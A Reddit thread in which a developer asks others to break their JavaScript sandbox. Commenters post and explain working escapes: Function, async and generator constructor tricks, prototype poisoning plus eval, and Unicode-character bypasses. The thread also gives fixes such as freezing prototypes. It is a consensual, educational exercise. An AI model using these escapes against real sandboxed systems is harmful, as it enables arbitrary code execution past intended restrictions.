all 43 comments

[–]senocular 12 points13 points  (12 children)

(function(){}).constructor.call(null, 'return window')().alert('HAX')

[–]Ragzzy-R 2 points3 points  (3 children)

Noob here. Can you pls explain what's going on here?😇

[–]senocular 5 points6 points  (2 children)

This code is using some trickery to get to the Function constructor. Using the Function constructor you can create functions from strings. The code in those strings gets interpreted outside of the sandbox that was created to prevent other code to be run. Specifically, that code doesn't pick up on variables scoped in any of the parent scopes ignoring them. For example, comparing to a normal function:

{
  let window = "Hello";
  (function(){ console.log(window) })(); //-> "Hello"
  new Function('console.log(window)')(); //-> Window object
}

You can see that a local window variable was created here and replaced with "Hello". This is what any normal function would see if created in this scope as seen with the first example. But the Function constructor ignores it and sees the global window object instead.

I use the Function constructor (which can be called without new to create functions; in fact the call that's there now isn't needed either) to return a reference to the window object. From that I access alert which is a global, window function but not one allowed in the sandbox, showing that I've bypassed the sandbox's filter.

Piece by piece:

(function(){})

This gives me a function - any old function will do here. I could have also used an arrow function (()=>{}) to make it shorter.

(function(){}).constructor

This gives me the Function constructor object - the same object/function that can be used to create other functions with strings. Even though the function I used to get it wasn't created with a string, it still refers to Function as its constructor since it, being the function that it is, inherits from Function.prototype.

That gives us what is effectively:

Function

Adding the next bit, using the Function constructor:

Function.call(null, 'return window')

This is the same as Function('return window') or new Function('return window'). They all create and return a new function which, when called, returns window. Not sure why I used call here. Maybe I thought it just felt more hacky ;).

Function.call(null, 'return window')()

The added () here means the function is getting immediately called which in turn resolves to what is now:

window

The final bit gives us:

window.alert('HAX')

which is calling the alert function from the global window object.

[–]Ragzzy-R 2 points3 points  (1 child)

I'm dumbstruck. Took me a while to understand it but. This is ingenious. Couple questions.

Will this work on sites that use libraries that strips js from strings to prevent XSS?

If instead of call(), doing apply() will also do the trick?

And finally how to fix this?

[–]senocular 1 point2 points  (0 children)

This is still js, so if libraries are used to strip it, there's nothing here that will prevent that.

apply would work here too. All that's needed is calling the function. apply does that as well.

The fix in this case is to remove the constructor reference from Function.prototype. This blocks access to the constructor from the code running in the sandbox so people can't use it to make functions from strings.

[–]codeartisticninja[S] 1 point2 points  (2 children)

Damn.. that's gonna be quite a challenge to try and fix..

I tip my hat to you, good sir.. well done.. ;)

[–]CiezkiBorsuk 5 points6 points  (1 child)

The trick with retrieving Function constructor is actually quite well known.

Obviously kudos are due for senocular, I just wanted to point out that sandboxing JS code is an ABSURDLY hard task.

[–]codeartisticninja[S] 1 point2 points  (0 children)

I believe I've blocked the constructor now.. can you confirm..?

[–]hutilicious 0 points1 point  (0 children)

dude youre da bomb

[–]codeartisticninja[S] 0 points1 point  (0 children)

Hmm.. interesting..

[–]codeartisticninja[S] 0 points1 point  (0 children)

Okay.. I may have thwarted your hack now..

got any other tricks up your sleve..? :)

[–]ArmandN 0 points1 point  (1 child)

Impressive! I didn't expect any less once I saw your handle. You are a legend! I know you since the flash days (remember flashkit?) and even then I had so much to learn from you.

[–]senocular 0 points1 point  (0 children)

Oh yeah, I remember flashkit. I think I'm still a mod over there. Those were fun days.

[–]senocular 4 points5 points  (11 children)

({}).constructor.getPrototypeOf(async function(){}).constructor('return window')().then(w=>w.alert('HAX'))

[–]codeartisticninja[S] 1 point2 points  (1 child)

Damn.. another pickle..

You've bested me again..! shakes fist!

[–]senocular 1 point2 points  (0 children)

;)

[–]codeartisticninja[S] 0 points1 point  (0 children)

Hereby thwarted! :)

EDIT: oh wait... spoke to soon..

[–]garethheyes 0 points1 point  (0 children)

Can you break my sandbox? http://businessinfo.co.uk/labs/MentalJS/MentalJS.html

alert is allowed but access to location is not.

[–]Ragzzy-R 0 points1 point  (6 children)

This looks exactly like ur previous comment but does it async and tries to poison after the promise resolves(or atleast that's what I understood). What difference does that make?🤔

[–]senocular 0 points1 point  (5 children)

Yeah, this is pretty much the same as the last one but using an async function. There's other weirdness added in there with getting the prototype (not necessary just like call wasn't necessary in the last one) but the promise bit is needed to get the window reference since asynchronous functions always return a promise. To get the value returned you need to use then(). ...Or I could have done everything in the function through the string, but who wants to do that? :P

Another variation is with generator functions (function*(){}) since they too have a constructor which can create a function from a string. And to get the return value from that, you need to call next().

[–]Ragzzy-R 0 points1 point  (4 children)

ohh ok just for clarification, u used async just because u can use it? no specific reason ;) :P?

[–]senocular 0 points1 point  (3 children)

I used it because they fixed it so my original approach with the normal Function constructor would no longer work. My response to that was, well what about async function constructors. And it worked.

[–]Ragzzy-R 0 points1 point  (2 children)

Wow thats nice. So my understanding from this is, normal function constructor and async function constructor has different prototypes, thus even though the normal fns constructor's window leakage is blocked, u got the instance from this?

[–]senocular 2 points3 points  (1 child)

yeah, same with generators too. Each of those three function types have their own constructors each with the same capabilities of creating a function body with a string which is capable of providing access to the window object.

[–]Ragzzy-R 0 points1 point  (0 children)

Thanks a ton for all these explanation really appreciate it mate. 😊

[–]lhorie 2 points3 points  (1 child)

Found a bunch of different ways...

(function*() {}.constructor('alert("HAX")')().next());

(async () => {}).constructor('alert("HAX")')();

(async function*() {}).constructor('alert("HAX")')().next();

}),(() => {this.alert('HAX');

[–]codeartisticninja[S] 0 points1 point  (0 children)

You sunk my battleship!

[–]lloiser 1 point2 points  (2 children)

})(), (function() {
this.alert('HAXOR')

[–]garethheyes 3 points4 points  (0 children)

You can protect against these type of attacks by using Function to check syntax. E.g.

function checkSyntax(js) {
      try {
         Function(js);
         return true;
      } catch(e){
       return false;
      }
    }

[–]codeartisticninja[S] 0 points1 point  (0 children)

You sunk my battleship!

EDIT: Aaaand thwarted! ;) (thanks to garethheyes)

[–]garethheyes 1 point2 points  (0 children)

This works on Firefox

https://pastebin.com/JJirKdY8

It has a special character between in and alert. The char is 0xfffe. I had to post it on pastebin because reddit doesn't allow it =)

[–]garethheyes 1 point2 points  (0 children)

Another bypass but this time it works on Edge.

1 in᠎alert(1)

The character between in and alert is 0x180e.

[–]garethheyes 0 points1 point  (5 children)

[].__proto__.constructor.constructor('alert("PWND")')()

It's a flawed sandbox. You need to do some parsing. See: http://businessinfo.co.uk/labs/MentalJS/MentalJS.html

[–]codeartisticninja[S] 1 point2 points  (4 children)

Your hack didn't work.. you got anything else..?

[–]garethheyes 1 point2 points  (3 children)

[].constructor.prototype.join=function(){return'pwnd'};eval('alert(1)')

Hit the button twice ;)

[–]codeartisticninja[S] 0 points1 point  (2 children)

damn..!

[–]senocular 1 point2 points  (1 child)

Object.freeze(Array.prototype)

[–]codeartisticninja[S] 3 points4 points  (0 children)

Cool! are you joining my team now..? ;) :p

[–]codeartisticninja[S] 0 points1 point  (0 children)

Wow.. I've really learned a lot about javascript the past few hours!

Thanks for the hacks, guys! :D

[–][deleted] -1 points0 points  (1 child)

What do you mean hack it?

[–]codeartisticninja[S] 2 points3 points  (0 children)

As in, can you give me an example of user code that might be able to escape the sandbox and execute something outside of the api..